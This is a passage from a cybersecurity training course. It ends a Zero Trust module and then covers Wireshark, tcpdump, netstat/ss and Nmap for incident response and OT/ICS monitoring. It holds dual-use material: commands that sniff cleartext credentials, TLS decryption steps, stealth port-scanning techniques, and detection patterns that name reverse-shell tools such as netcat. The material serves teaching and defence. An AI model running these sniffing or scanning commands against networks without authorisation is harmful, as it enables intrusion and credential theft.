   Alert on any deviation
   Assume breach — always be looking for threat actors already inside

Key Insight: Zero Trust is not a product — it is a security philosophy requiring architectural changes across identity, device, network, application, and data. The starting point for most organisations is always identity: enforce phishing-resistant MFA (FIDO2/WebAuthn) for all users, all applications, all the time. This single control eliminates the vast majority of credential-based attacks that represent the initial access vector in most documented breaches.

14. Module Summary

Concept	Core Principle	Attack Scenario	Key Defence	OT/ICS Application
CIA — Confidentiality	Only authorised parties see data	Eavesdropping, data exfiltration, credential theft	Encryption (TLS, disk), access controls, DLP	Process parameters, network topology protection
CIA — Integrity	Data has not been unauthorised modified	Supply chain tampering (SolarWinds), log modification, sensor spoofing (Stuxnet)	Cryptographic hashes, digital signatures, FIM, immutable logs	ICS protocol auth (IEC 62351), cross-validate sensors, SIS independence
CIA — Availability	Systems accessible when needed	DDoS, ransomware, SYN flood, disk exhaustion	Redundancy, DDoS mitigation, backups, patching	Highest priority in OT; redundant control paths; maintenance window patches
Authentication	Verify claimed identity	Phishing, brute force, credential stuffing, MFA fatigue, Kerberoasting	Phishing-resistant MFA (FIDO2), password managers, Kerberos hardening	Compensate for no-auth OT protocols with boundary auth and session recording
Authorization	Determine what identity may do	IDOR, privilege escalation, broken access control (OWASP #1)	Server-side checks every request, RBAC, ABAC, deny by default	Jump server ACLs, OT zone firewall rules, per-function access control
Access Control	Enforce auth/authz decisions	VLAN hopping, DAC bypass, SUID exploitation	802.1X NAC, SELinux MAC, ACL auditing, remove SUID	Network segmentation, managed switch port security
AAA	Auth + Authz + Audit trail	Unattributed access, compliance gaps, incident reconstruction failure	RADIUS/TACACS+, centralised logging, SIEM	NERC CIP compliance, individual accounts, session logging for OT access
Risk	Threat × Vulnerability × Impact	Misallocated resources (patching low-risk, ignoring high-risk)	FAIR/CVSS-based prioritisation, risk register, ALE calculation	OT risk: availability/safety impact far exceeds data breach cost
Threat Actors	Who is targeting you and why	APT persistent access (SolarWinds), ransomware (Colonial), insider (Capital One)	Threat intelligence, TTP-based detection, sector-specific ISAC	Sandworm targets OT; Volt Typhoon pre-positioning in critical infrastructure
Attack Surface	Every entry point an attacker could use	Exposed SCADA on internet (Shodan), shadow IT, forgotten assets	Asset discovery, exposure reduction, continuous attack surface monitoring	Thousands of OT devices exposed on Shodan; vendor remote access scope
Defence in Depth	Overlapping controls at multiple layers	Single control failure → complete compromise	Layered controls: physical → network → host → app → data → human	Purdue model zones + firewalls + monitoring = OT DiD implementation
Least Privilege	Minimum necessary permissions only	WannaCry blast radius (admin accounts), lateral movement	LAPS, JIT privilege, service accounts with minimal rights	No shared "operator" accounts; application-specific accounts for HMI
Separation of Duties	No single person controls critical action	Insider fraud, malicious code deployment without review	Code review, 4-eyes principle, PAM for privileged access	Two-person rule for safety system changes; change advisory board
Zero Trust	Never trust, always verify — location conveys no trust	Lateral movement after perimeter breach (Colonial Pipeline), VPN-only perimeter bypass	Phishing-resistant MFA first; then ZTNA, micro-segmentation, continuous monitoring	Zone/conduit model; identity at boundary; assume breach posture

Next Module: Stage 2.2 — Cryptography

Previous Module: Stage 1.8 — Network Analysis Tools

Stage Index: Stage 2 README

Series Index: Full Roadmap

Stage 1.8 — Network Analysis Tools

Rençber AKMAN — Tue, 09 Jun 2026 18:55:05 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.8 — Network Analysis Tools

Level: Beginner → Advanced

Prerequisites: Stage 1.7 — Wireless Networks

Next Stage: Stage 2 — Cybersecurity Core

Why Network Analysis Tools Define Your Career Ceiling
Wireshark — The Packet Analyst's Primary Weapon
tcpdump — The Command-Line Packet Capture Engine
Netstat and ss — Connection State Intelligence
Nmap — The Network Mapper
Traceroute and Tracert — Path Discovery
Ping — The Fundamental Connectivity Test
ipconfig and ifconfig — Interface Configuration
Additional Critical Tools
Tool Integration — Building Investigation Workflows
Network Analysis in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why Network Analysis Tools Define Your Career Ceiling

There is a direct correlation between how deeply you understand these tools and how far you progress in cybersecurity. Every discipline — penetration testing, incident response, threat hunting, SOC analysis, OT security assessment — requires the ability to observe, interrogate, and interpret network behaviour. The tools in this module are not beginner tools you graduate from. They are the tools professionals use every day regardless of seniority.

Real incidents where these tools were decisive:

Stuxnet Discovery (2010): The Stuxnet worm was partially identified through anomalous network traffic analysis. Kaspersky researchers used packet capture tools to observe unusual communication patterns with Siemens WinCC databases and later identified the C2 protocol embedded in industrial communications. Without deep packet analysis, the world's first known cyber-weapon aimed at physical infrastructure might have remained undiscovered far longer.

APT1/Comment Crew Exposure (2013): Mandiant's landmark report exposing Chinese APT1 operations relied heavily on network analysis of captured traffic. Nmap scans revealed attack infrastructure; packet captures documented exfiltration patterns; netstat data from compromised hosts showed persistent connections to C2 infrastructure. The entire forensic reconstruction was built on network analysis data.

Colonial Pipeline (2021): The incident response teams deployed after the ransomware attack used network analysis tools to understand the blast radius — which systems had communicated with the initially compromised systems, which had received malicious payloads, what lateral movement paths had been used. Packet capture evidence helped reconstruct the attack timeline.

For OT/ICS specifically: When a PLC stops responding or a SCADA system behaves erratically, the first question is always: "What is happening at the network level?" Wireshark captures of Modbus traffic can reveal unauthorised write commands. Nmap scans (conducted carefully) identify rogue devices. Ping reveals whether a field device is reachable. These tools are the diagnostic instruments of industrial network security.

The security mindset for this module: You cannot defend what you cannot see. You cannot investigate what you cannot measure. These tools are your senses on the network — developing fluency with them is not optional.

2. Wireshark — The Packet Analyst's Primary Weapon

2.1 What Wireshark Is and How It Works

Wireshark is the world's most widely used network protocol analyser. It captures packets from a network interface, decodes them according to hundreds of protocol dissectors, and presents them in a structured, searchable interface. It can also open packet capture files in pcap, pcapng, and dozens of other formats.

How Wireshark captures packets:

Normal NIC Operation:
  Network traffic → NIC → [NIC accepts only MY packets] → OS → Applications

Promiscuous Mode:
  Network traffic → NIC → [NIC accepts ALL packets on segment] → OS → Wireshark

Monitor Mode (wireless):
  All wireless frames → Wireless NIC → [ALL frames regardless of encryption] → Wireshark
  (Monitor mode captures encrypted frames but cannot decrypt without key)

Capture Pipeline:
  Physical medium → NIC driver → WinPcap/Npcap (Windows) or libpcap (Linux/macOS)
  → Capture engine → Packet buffer → Dissectors → Display engine

Packet dissection:
  Raw bytes → Layer 2 decoder (Ethernet, 802.11, etc.)
             → Layer 3 decoder (IPv4, IPv6, ARP, etc.)
             → Layer 4 decoder (TCP, UDP, ICMP, etc.)
             → Layer 7 decoder (HTTP, DNS, SMB, Modbus, DNP3, etc.)
  Each layer reveals its fields → displayed in protocol tree

2.2 Wireshark Interface Deep Dive

Wireshark Main Window Layout:

┌─────────────────────────────────────────────────────────────┐
│ Filter Bar: [    Display Filter Expression           ] [Apply]│
├─────────────────────────────────────────────────────────────┤
│ Packet List (one row per packet):                           │
│ No.  Time      Source          Dest          Protocol  Info │
│ 1    0.000000  192.168.1.5    8.8.8.8       DNS       Who  │
│ 2    0.012345  8.8.8.8        192.168.1.5   DNS       Resp │
│ 3    0.013000  192.168.1.5    93.184.216.34 TCP       SYN  │
├─────────────────────────────────────────────────────────────┤
│ Packet Details (protocol tree for selected packet):         │
│ ▼ Frame 1: 74 bytes on wire                                 │
│   ▼ Ethernet II: Src: AA:BB:CC:DD:EE:FF, Dst: 11:22:33... │
│     Destination: 11:22:33:44:55:66                         │
│     Source: AA:BB:CC:DD:EE:FF                               │
│     Type: IPv4 (0x0800)                                     │
│   ▼ IPv4: Src 192.168.1.5, Dst 8.8.8.8                    │
│     Version: 4                                              │
│     ...                                                     │
│   ▼ UDP: Src Port 54321, Dst Port 53                       │
│   ▼ DNS: Standard Query                                     │
├─────────────────────────────────────────────────────────────┤
│ Packet Bytes (hex + ASCII):                                 │
│ 0000  11 22 33 44 55 66 aa bb  cc dd ee ff 08 00 45 00  │
│ 0010  ...                                                   │
└─────────────────────────────────────────────────────────────┘

2.3 Display Filters — The Core Skill

Display filters are the most important Wireshark skill. They do not remove packets from the capture — they show or hide packets while the underlying capture remains complete.

Filter Syntax: field operator value (logical operators: and, or, not)

Basic Filters:
  ip.addr == 192.168.1.1          All traffic involving this IP (src or dst)
  ip.src == 192.168.1.5           Traffic FROM this IP
  ip.dst == 8.8.8.8               Traffic TO this IP
  tcp.port == 443                 TCP on port 443 (either direction)
  tcp.dstport == 80               TCP destined for port 80
  udp.port == 53                  UDP port 53 (DNS)

Protocol Filters:
  tcp                             All TCP traffic
  udp                             All UDP traffic
  icmp                            All ICMP traffic
  arp                             All ARP traffic
  dns                             All DNS traffic
  http                            All HTTP traffic (decoded)
  tls                             All TLS/SSL traffic
  smb                             All SMB traffic
  smb2                            All SMB2 traffic
  ftp                             All FTP control traffic
  ssh                             All SSH traffic
  modbus                          All Modbus traffic (ICS)
  dnp3                            All DNP3 traffic (ICS)

TCP Flags:
  tcp.flags.syn == 1              SYN packets (new connections)
  tcp.flags.syn == 1 and tcp.flags.ack == 0   SYN only (not SYN-ACK)
  tcp.flags.reset == 1            RST packets (connection resets)
  tcp.flags.fin == 1              FIN packets (connection close)

Content Filters:
  http.request.method == "POST"   HTTP POST requests
  http.response.code == 200       HTTP 200 OK responses
  http.response.code >= 400       HTTP errors
  dns.qry.name contains "evil"    DNS queries containing "evil"
  frame contains "password"       Any frame containing the string "password"
  data contains 50:41:53:53       Frames containing hex bytes (PASS)

Combining Filters:
  ip.src == 192.168.1.5 and tcp.dstport == 80
  not arp and not icmp            Exclude ARP and ICMP (reduce noise)
  ip.addr == 10.10.10.0/24        Any IP in this subnet
  tcp.port in {80 443 8080 8443}  Traffic on any of these ports

Comparison Operators:
  ==  equal to
  !=  not equal to
  >   greater than
  <   less than
  >=  greater than or equal
  <=  less than or equal
  contains  string/bytes contained within
  matches   regex match (~~)

Security-Specific Filters:
  # Find potential SQL injection in HTTP:
  http.request.uri contains "'"
  http.request.uri contains "UNION"
  http.request.uri contains "SELECT"

  # Find potential XSS:
  http.request contains "<script"

  # Detect password transmission in cleartext:
  ftp.request.command == "PASS"
  pop.request.command == "PASS"
  imap contains "LOGIN"

  # Detect ARP spoofing (duplicate IP):
  arp.duplicate-address-detected

  # Find Nmap SYN scans:
  tcp.flags.syn == 1 and tcp.flags.ack == 0 and tcp.window_size <= 1024

  # Detect Metasploit Meterpreter (default SSL cert):
  tls.handshake.type == 11        # Certificate in TLS
  # Then check certificate details for known Metasploit cert

  # Modbus write commands (ICS):
  modbus.func_code == 5           # Force Single Coil
  modbus.func_code == 6           # Preset Single Register
  modbus.func_code == 15          # Force Multiple Coils
  modbus.func_code == 16          # Preset Multiple Registers

2.4 Statistics and Analysis Features

# Statistics menu — essential for pattern analysis:

# Protocol Hierarchy:
# Statistics → Protocol Hierarchy
# Shows: percentage of traffic per protocol
# Security use: unexpected protocols (Tor, unusual ports) stand out

# Conversations:
# Statistics → Conversations → TCP/UDP/IP
# Shows: top talkers, bytes transferred per connection
# Security use: identify exfiltration (large outbound transfers)
# Security use: lateral movement (many connections from one source)

# Endpoints:
# Statistics → Endpoints
# Shows: all unique IP/MAC addresses in capture
# Security use: discover new/unexpected hosts on network

# IO Graphs:
# Statistics → I/O Graph
# Shows: traffic volume over time
# Security use: identify spikes (DDoS, exfiltration, scanning)

# Follow TCP Stream:
# Right-click packet → Follow → TCP Stream
# Shows entire TCP conversation as text
# Security use: see complete HTTP request/response, FTP session, etc.
# Most useful command in Wireshark for protocol analysis

# Export Objects:
# File → Export Objects → HTTP/SMB/FTP/TFTP
# Extracts transferred files from the capture
# Security use: extract malware downloaded via HTTP
# Security use: extract sensitive files exfiltrated via SMB

# Expert Information:
# Analyze → Expert Information
# Shows: errors, warnings, protocol anomalies
# Security use: malformed packets, checksum errors, unusual sequences

2.5 Capture Filters vs Display Filters

Capture Filters (BPF syntax — applied at capture time):
  These are applied BEFORE packets are stored
  Packets not matching are discarded
  Use when: you need to reduce capture size, focus on specific traffic
  Syntax: Berkeley Packet Filter (libpcap/BPF), different from display filters

  Examples:
  host 192.168.1.1                 Only traffic to/from this IP
  net 192.168.1.0/24               Only traffic in this subnet
  port 80                          Only traffic on port 80
  tcp                              Only TCP traffic
  not arp                          Exclude ARP
  host 192.168.1.1 and port 80     Combined: specific host AND port

Display Filters (Wireshark syntax — applied to existing capture):
  Applied after capture — original data preserved
  Can be changed without re-capturing
  Richer syntax than capture filters

The critical difference:
  If you set a capture filter: excluded packets are GONE
  If you set a display filter: excluded packets are hidden but still there
  For forensics: always capture everything, use display filters for analysis
  Capture filter only when: storage/performance constraints

2.6 TLS Decryption in Wireshark

# Method 1: Pre-Master Secret Log (modern browsers/TLS):
# Set environment variable before starting browser:
export SSLKEYLOGFILE=/tmp/ssl_keys.log
firefox &                           # Or chromium

# In Wireshark:
# Edit → Preferences → Protocols → TLS
# (Pre)-Master-Secret log filename: /tmp/ssl_keys.log
# Now HTTPS traffic is decrypted in real-time

# Method 2: Server private key (only works for RSA key exchange, not ECDH):
# Edit → Preferences → Protocols → TLS → Edit (RSA keys list)
# Add: IP, Port, Protocol, Key file path
# Import PEM private key of the server
# Note: Does NOT work if server uses forward secrecy (ECDH/DHE) — most modern servers do

# Method 3: Manual session key import:
# If you have the session keys from another source
# Import via the TLS pre-master secret log mechanism

# Security use: decrypt HTTPS in lab environments to understand attack traffic
# Incident response: if you have server private key, decrypt historical captures
# Limitation: most modern servers use forward secrecy — key import won't work
# → Use SSLKEYLOGFILE approach for browser traffic analysis

2.7 Wireshark for Incident Response

# Command-line Wireshark (tshark):

# Basic capture:
sudo tshark -i eth0 -w /tmp/capture.pcap         # Capture to file
sudo tshark -i eth0 -c 1000                      # Capture 1000 packets
sudo tshark -i eth0 -a duration:60               # Capture for 60 seconds

# Read from file and apply filter:
tshark -r capture.pcap -Y "http.request.method == POST"

# Extract specific fields:
tshark -r capture.pcap -T fields \
    -e frame.time \
    -e ip.src \
    -e ip.dst \
    -e tcp.dstport \
    -e http.request.uri \
    -Y "http.request"

# Count DNS queries per domain:
tshark -r capture.pcap -T fields -e dns.qry.name \
    -Y "dns.flags.response == 0" | \
    sort | uniq -c | sort -rn | head -20

# Extract all HTTP usernames and passwords (cleartext):
tshark -r capture.pcap -T fields \
    -e http.authbasic \
    -Y "http.authbasic"

# Find large file transfers (potential exfiltration):
tshark -r capture.pcap -T fields \
    -e ip.src -e ip.dst -e tcp.stream -e tcp.len \
    | awk '{sum[$1" "$2]+=$4} END {for(k in sum) print sum[k], k}' \
    | sort -rn | head -10

# Extract files from HTTP captures:
tshark -r capture.pcap --export-objects http,/tmp/extracted_files/

# Convert pcap to readable JSON for automated analysis:
tshark -r capture.pcap -T json > analysis.json

# Find all unique external IPs (potential C2 or exfiltration):
tshark -r capture.pcap -T fields -e ip.dst \
    | grep -vE "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)" \
    | sort -u

Key Insight: Wireshark's Follow TCP Stream function is the single most powerful investigative capability in the tool. It reconstructs the entire conversation between two endpoints, showing you exactly what was said — credentials, commands, file contents, protocol exchanges. In incident response, following streams to malicious destinations reveals the attacker's exact actions. In OT security, following Modbus streams reveals every command sent to every PLC.

3. tcpdump — The Command-Line Packet Capture Engine

3.1 Why tcpdump Matters

tcpdump is the command-line packet analyser available on virtually every Unix-like system by default. It is the tool you use when:

There is no GUI (server environments, embedded systems, OT devices)
You need to capture remotely and analyse locally
You need scripted, automated packet capture
Performance constraints prevent running Wireshark
You are working on a system with no desktop environment

tcpdump uses libpcap (same library as Wireshark) and produces standard pcap files that Wireshark can read.

3.2 tcpdump Syntax and Filters

tcpdump syntax:
sudo tcpdump [options] [filter expression]

Key Options:
  -i eth0          Interface to capture on (-i any = all interfaces)
  -w file.pcap     Write to pcap file (don't display)
  -r file.pcap     Read from pcap file
  -c 100           Capture only 100 packets then stop
  -n               Don't resolve IP addresses to hostnames (faster, clearer)
  -nn              Don't resolve ports either (show numbers, not service names)
  -v               Verbose (more protocol detail)
  -vv              Very verbose
  -vvv             Maximum verbosity
  -A               Print packet data in ASCII
  -X               Print packet data in hex and ASCII
  -xx              Print with link layer headers in hex
  -s 0             Capture full packet (default is 65535 bytes, -s 0 = unlimited)
  -S               Print absolute sequence numbers (useful for TCP analysis)
  -e               Print link-layer header (MAC addresses)
  -l               Line-buffer output (for piping to grep/awk in real-time)
  -q               Quiet mode (less protocol detail)
  -t               Don't print timestamp
  -tt              Print Unix epoch timestamp (useful for log correlation)
  -ttt             Print delta between packets
  -tttt            Print date and time
  -D               List available interfaces
  -Z user          Drop privileges to user after opening interface

Filter Syntax (BPF — Berkeley Packet Filter):
  Primitives: host, net, port, src, dst, proto
  Logical: and (&&), or (||), not (!)

  host 192.168.1.1              Traffic to or from this IP
  src host 192.168.1.5          Traffic FROM this IP
  dst host 192.168.1.1          Traffic TO this IP
  net 192.168.1.0/24            Traffic in subnet
  port 80                       Traffic on port 80 (TCP or UDP)
  tcp port 443                  TCP port 443
  udp port 53                   UDP port 53
  portrange 1-1024              Any port in range
  not port 22                   Exclude SSH
  tcp and not port 22           TCP, excluding SSH
  host 192.168.1.1 and port 80  Specific host + port

Protocol Primitives:
  ip, ip6, arp, rarp, tcp, udp, icmp, icmp6
  proto 89                       OSPF (IP protocol 89)

Advanced BPF (byte offset matching):
  tcp[tcpflags] & tcp-syn != 0    SYN packets
  tcp[tcpflags] & tcp-rst != 0    RST packets
  tcp[tcpflags] == tcp-syn        ONLY SYN (not SYN-ACK)
  ip[8] <= 5                      TTL <= 5 (traceroute-like packets)
  ip[6:2] & 0x3fff != 0          IP fragmented packets

3.3 Essential tcpdump Commands

# Basic capture and display:
sudo tcpdump -i eth0                              # Basic capture, all traffic
sudo tcpdump -i eth0 -nn                          # No name resolution
sudo tcpdump -i eth0 -nn -v                       # More detail
sudo tcpdump -i any -nn                           # All interfaces

# Save and read:
sudo tcpdump -i eth0 -w /tmp/capture.pcap         # Save to file
sudo tcpdump -r /tmp/capture.pcap -nn             # Read from file

# Targeted captures:
sudo tcpdump -i eth0 host 192.168.1.100           # Specific host
sudo tcpdump -i eth0 port 80                      # Port 80
sudo tcpdump -i eth0 'tcp port 80 and host 192.168.1.100'

# Show packet content:
sudo tcpdump -i eth0 -A port 80                   # ASCII content
sudo tcpdump -i eth0 -X port 80                   # Hex + ASCII

# Capture only specific number:
sudo tcpdump -i eth0 -c 100 -w /tmp/100pkts.pcap  # Capture 100 packets

# Time-limited capture:
timeout 60 sudo tcpdump -i eth0 -w /tmp/60sec.pcap  # 60 seconds

# Capture and pipe to analysis:
sudo tcpdump -i eth0 -l -A port 80 | grep "GET\|POST\|Host:"
# -l: line buffered (necessary for real-time piping)

# Security-specific captures:
# Capture all new TCP connections (SYN only):
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack = 0'

# Capture DNS traffic:
sudo tcpdump -i eth0 -nn udp port 53

# Capture ICMP:
sudo tcpdump -i eth0 icmp

# Capture ARP:
sudo tcpdump -i eth0 arp

# Detect SYN flood (high rate of SYN packets):
sudo tcpdump -i eth0 -nn 'tcp[tcpflags] == tcp-syn' | \
    awk '{print $3}' | cut -d. -f1-4 | \
    sort | uniq -c | sort -rn | head

# Capture credentials in cleartext protocols:
sudo tcpdump -i eth0 -A -s0 'port 21 or port 23 or port 110 or port 143' | \
    grep -iE "user|pass|login"

# Large file capture with rotation:
sudo tcpdump -i eth0 -w /tmp/capture-%Y%m%d%H%M%S.pcap \
    -G 3600 \                    # Rotate every 3600 seconds (1 hour)
    -C 100                       # Max 100MB per file

# Remote capture (capture on remote host, analyse locally):
ssh user@remote_host "sudo tcpdump -i eth0 -w - -U host 192.168.1.1" | \
    wireshark -k -i -
# -w -: write to stdout
# -U: flush after each packet (real-time)
# wireshark -k: start capturing immediately
# wireshark -i -: read from stdin

3.4 tcpdump in Security Contexts

# Incident Response: capture evidence before it's lost
sudo tcpdump -i eth0 \
    -w /evidence/$(hostname)_$(date +%Y%m%d%H%M%S).pcap \
    -s 0 \                       # Full packets (forensic-grade)
    -tttt \                      # Timestamp with date
    &                            # Background — continue collecting

# SOC: monitor for specific IOCs (Indicators of Compromise)
SUSPICIOUS_IP="185.220.101.5"    # Example known malicious IP
sudo tcpdump -i eth0 -nn -A \
    "host $SUSPICIOUS_IP" | \
    tee /var/log/suspicious_traffic.log

# Detect C2 beaconing (regular interval connections to same IP):
sudo tcpdump -i eth0 -nn -t 'tcp[tcpflags] & tcp-syn != 0' | \
    awk '{print $3}' | cut -d. -f1-4 | \
    uniq -c | \
    awk '$1 > 5 {print "Possible beacon: "$2" ("$1" connections)"}'

# Monitor for data exfiltration (large outbound transfers):
sudo tcpdump -i eth0 -nn 'src net 192.168.0.0/16' | \
    awk '{
        split($3, src, ".")
        split($5, dst, ".")
        # Flag if source is internal, dst is external
        if (src[1] != dst[1]) sum[dst[1]"."dst[2]"."dst[3]"."dst[4]] += length($0)
    }
    END {
        for (ip in sum)
            if (sum[ip] > 1000000) print "Large transfer to "ip": "sum[ip]" bytes"
    }'

# OT: Monitor Modbus commands (port 502):
sudo tcpdump -i eth0 -nn -A port 502 | \
    grep -A5 "502"
# For detailed Modbus analysis: use Wireshark with Modbus dissector

Key Insight: tcpdump's strength is its availability and scriptability. On a compromised server during incident response, Wireshark may not be installed — tcpdump almost always is. Knowing how to capture and filter with tcpdump means you can gather evidence from any Unix system regardless of what security tools are installed. The output is standard pcap, readable by Wireshark for deeper analysis later.

4. Netstat and ss — Connection State Intelligence

4.1 Netstat — The Legacy Connection Inspector

netstat displays network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. While being replaced by ss on modern Linux, netstat remains ubiquitous (Windows, macOS, older Linux).

netstat output columns:
  Proto:     Protocol (tcp, udp, tcp6, udp6)
  Recv-Q:    Data queued to receive (waiting for application to read)
  Send-Q:    Data queued to send (waiting for network)
  Local Address:  Local IP:port of the connection
  Foreign Address: Remote IP:port
  State:     TCP state (LISTEN, ESTABLISHED, TIME_WAIT, etc.)
  PID/Program: Process owning the connection (with -p flag)

# Linux netstat commands:
netstat -tulnp          # TCP+UDP, Listening, Numeric, with Process
# -t: TCP connections
# -u: UDP connections
# -l: Only listening sockets
# -n: Numeric (don't resolve names — faster and clearer)
# -p: Show process name and PID (requires root for other users' processes)

netstat -tan            # All TCP connections, numeric
netstat -anp            # All connections, numeric, with process
netstat -rn             # Routing table, numeric
netstat -i              # Interface statistics
netstat -s              # Statistics by protocol (errors, drops, etc.)
netstat -c 2            # Refresh every 2 seconds (continuous)

# Useful patterns:
netstat -anp | grep LISTEN                        # All listening services
netstat -anp | grep ESTABLISHED                  # Active connections
netstat -anp | grep :4444                        # Metasploit default port
netstat -anp | grep '0.0.0.0:*'                 # Services exposed on all interfaces

# Windows netstat:
netstat -ano             # All connections, numeric, with PID
netstat -ano | findstr :3389   # RDP connections
netstat -ano | findstr LISTENING  # All listening ports
netstat -b               # Show owning executable (requires admin)
netstat -r               # Routing table

4.2 ss — The Modern Replacement

ss (Socket Statistics) is faster than netstat, provides more information, and is the current standard on modern Linux. It reads from the kernel's netlink socket rather than /proc.

# ss commands:
ss -tulnp               # Same as netstat equivalent
# -t: TCP
# -u: UDP
# -l: Listening
# -n: Numeric
# -p: Process info

ss -tnp state established  # Only established TCP connections
ss -tnp state time-wait    # TIME_WAIT connections (post-close)
ss -tnp state syn-recv     # SYN_RECV (half-open, potential SYN flood indicator)
ss -s                      # Summary statistics
ss -4                      # IPv4 only
ss -6                      # IPv6 only

# Filtering (more powerful than netstat):
ss -tnp dst 192.168.1.100      # Connections TO this IP
ss -tnp src 192.168.1.5        # Connections FROM this IP
ss -tnp dport == :443          # Connections TO port 443
ss -tnp sport == :22           # Connections FROM port 22
ss -tnp 'dst 192.168.1.0/24'  # All connections to subnet

# Advanced ss usage:
ss -tnp | awk 'NR>1 {print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn
# Count connections per remote IP — detect port scan or DDoS source

4.3 Security Analysis with Netstat/ss

# ============ INCIDENT RESPONSE CHECKLIST ============
# Run these immediately on a suspected compromised system:

echo "=== LISTENING SERVICES ==="
ss -tulnp 2>/dev/null || netstat -tulnp
# Look for: unexpected listening services, non-standard ports, unusual processes

echo "=== ESTABLISHED CONNECTIONS ==="
ss -tnp state established 2>/dev/null || netstat -tnp | grep ESTABLISHED
# Look for: connections to unexpected external IPs, encrypted channels on unusual ports

echo "=== UNUSUAL PORTS ==="
ss -tnp | grep -vE ":22|:80|:443|:53|:3306|:5432"  # Show non-common ports
# Look for: reverse shells (4444, 5555, common Metasploit ports)
#           C2 channels (any port to external IPs)
#           Pivoting (unexpected internal connections)

echo "=== CONNECTION COUNTS BY REMOTE IP ==="
ss -tn | awk 'NR>1 {split($5,a,":"); print a[1]}' | sort | uniq -c | sort -rn | head -20
# High count from same IP = port scan or C2 beaconing

echo "=== PROCESSES WITH NETWORK ACTIVITY ==="
ss -tnp | grep -oE 'pid=[0-9]+' | sort -u | while read pid; do
    pid_num=${pid#pid=}
    proc=$(cat /proc/$pid_num/cmdline 2>/dev/null | tr '\0' ' ')
    echo "PID $pid_num: $proc"
done
# Match processes to their network activity — unexpected process making connections = suspicious

# ============ DETECT REVERSE SHELLS ============
# Reverse shells often appear as: sh/bash/python/perl connecting outbound
# Look for shell processes with established outbound connections:
ss -tnp state established | grep -E "bash|sh|python|perl|ruby|nc|ncat|netcat"

# Detect bind shells (listening shells):
ss -tlnp | grep -E "bash|sh|python|perl|nc|ncat"

# ============ DETECT PORT SCANNING ============
# Short-lived connections in TIME_WAIT = scanner was here
ss -tn state time-wait | awk '{print $4}' | cut -d: -f1 | sort | uniq -c | sort -rn | head
# Many TIME_WAIT connections from same source = port scanner

# ============ WINDOWS SPECIFIC ============
# Find processes behind suspicious connections (Windows):
netstat -ano | findstr :4444
tasklist /fi "pid eq 1234"         # Replace 1234 with PID from netstat
# Correlate PID to process name

Connection States Reference:

TCP Connection States and Security Meaning:

LISTEN:      Server waiting for connections. Normal for services.
             Unexpected listening ports = potential backdoor

ESTABLISHED: Active data transfer. Normal.
             Unexpected external ESTABLISHED = possible compromise

SYN_SENT:    Client initiated connection, waiting for SYN-ACK
             Many SYN_SENT to different ports = you are port scanning
             Many SYN_SENT to different IPs = lateral movement or malware

SYN_RECV:    SYN received, SYN-ACK sent, waiting for ACK
             Many SYN_RECV = you are being SYN flooded (DDoS)

FIN_WAIT_1:  Sent FIN, waiting for ACK (normal close)
FIN_WAIT_2:  Got ACK, waiting for remote FIN (normal close)
CLOSE_WAIT:  Remote sent FIN, application hasn't closed yet
             Many CLOSE_WAIT = application bug (not closing sockets properly)

TIME_WAIT:   Both FINs acknowledged, waiting for stragglers
             Many TIME_WAIT = heavily used server or recent scanning activity

CLOSED:      Connection fully terminated (not usually shown)

Key Insight: A compromised machine almost always has evidence in its connection table — a reverse shell process with an outbound ESTABLISHED connection, an unexpected LISTENING port for a backdoor, or unusual processes associated with network connections. The netstat/ss output is one of the first things to examine in any suspected compromise. Baseline normal connection state and know what processes should be listening — any deviation is a finding.

5. Nmap — The Network Mapper

5.1 Nmap Architecture and Scan Types

Nmap (Network Mapper) is the industry-standard tool for network discovery and security auditing. It sends specially crafted packets and analyses responses to determine which hosts are available, what services they run, what operating system they use, and other security-relevant information.

Nmap Scan Types — From Stealthy to Noisy:

Stealthiness:
  Most Stealthy                                              Most Noisy
  ────────────────────────────────────────────────────────────────
  Idle  FIN  NULL XMAS ACK  SYN(Half) Connect  Version  Script  Agressive
  Scan  Scan Scan Scan Scan    Scan     Scan     Scan     Scan    Scan

Detection likelihood:
  Idle scan: virtually undetectable (uses zombie host)
  SYN scan: unlikely to be logged by target (half-open, no connection)
  Connect scan: logged by target (full connection established)
  Version scan: logged + leaves evidence of probe traffic
  Aggressive: loud, generates many entries in logs and IDS

5.2 Host Discovery

# Host discovery — determine which hosts are alive before port scanning

# ICMP echo (ping sweep) — default if not root:
nmap -sn 192.168.1.0/24
# -sn: skip port scan (ping only)
# Uses: ICMP echo, TCP SYN to 443, TCP ACK to 80, ICMP timestamp

# ICMP only (root required):
sudo nmap -sn -PE 192.168.1.0/24  # ICMP echo request
sudo nmap -sn -PP 192.168.1.0/24  # ICMP timestamp request (bypasses some firewalls)
sudo nmap -sn -PM 192.168.1.0/24  # ICMP address mask request

# TCP SYN discovery (no port scan):
sudo nmap -sn -PS22,80,443,3389 192.168.1.0/24  # Send SYN to these ports
# Hosts that respond = alive (even if they RST — they're up)

# UDP discovery:
sudo nmap -sn -PU53,161,137 192.168.1.0/24  # UDP probe

# ARP discovery (fastest on local network):
sudo nmap -sn -PR 192.168.1.0/24  # ARP (only works on same subnet)

# No ping (scan even if host appears down — useful for firewalled hosts):
sudo nmap -Pn 192.168.1.100       # Skip host discovery, scan directly

# Large network scanning with timing:
sudo nmap -sn -T4 --min-parallelism 100 10.0.0.0/8  # Fast scan of Class A
sudo nmap -sn --max-rtt-timeout 200ms --min-hosts 4096 192.168.0.0/16

# Exclude specific hosts from scan:
sudo nmap -sn 192.168.1.0/24 --exclude 192.168.1.1  # Skip router
sudo nmap -sn 192.168.1.0/24 --excludefile critical_hosts.txt

5.3 Port Scanning Techniques

# SYN Scan — default when running as root (half-open scan):
sudo nmap -sS 192.168.1.100
# Sends SYN, waits for SYN-ACK (open) or RST (closed)
# Never completes TCP handshake → fewer logs on target
# Open: received SYN-ACK, sent RST
# Closed: received RST
# Filtered: no response or ICMP unreachable

# TCP Connect Scan — default without root (full connection):
nmap -sT 192.168.1.100
# Completes full TCP handshake
# Generates connection logs on target
# Works without raw socket privileges

# UDP Scan:
sudo nmap -sU 192.168.1.100
# Sends UDP probe to each port
# Open: receives UDP response (rare — most UDP services don't respond to probes)
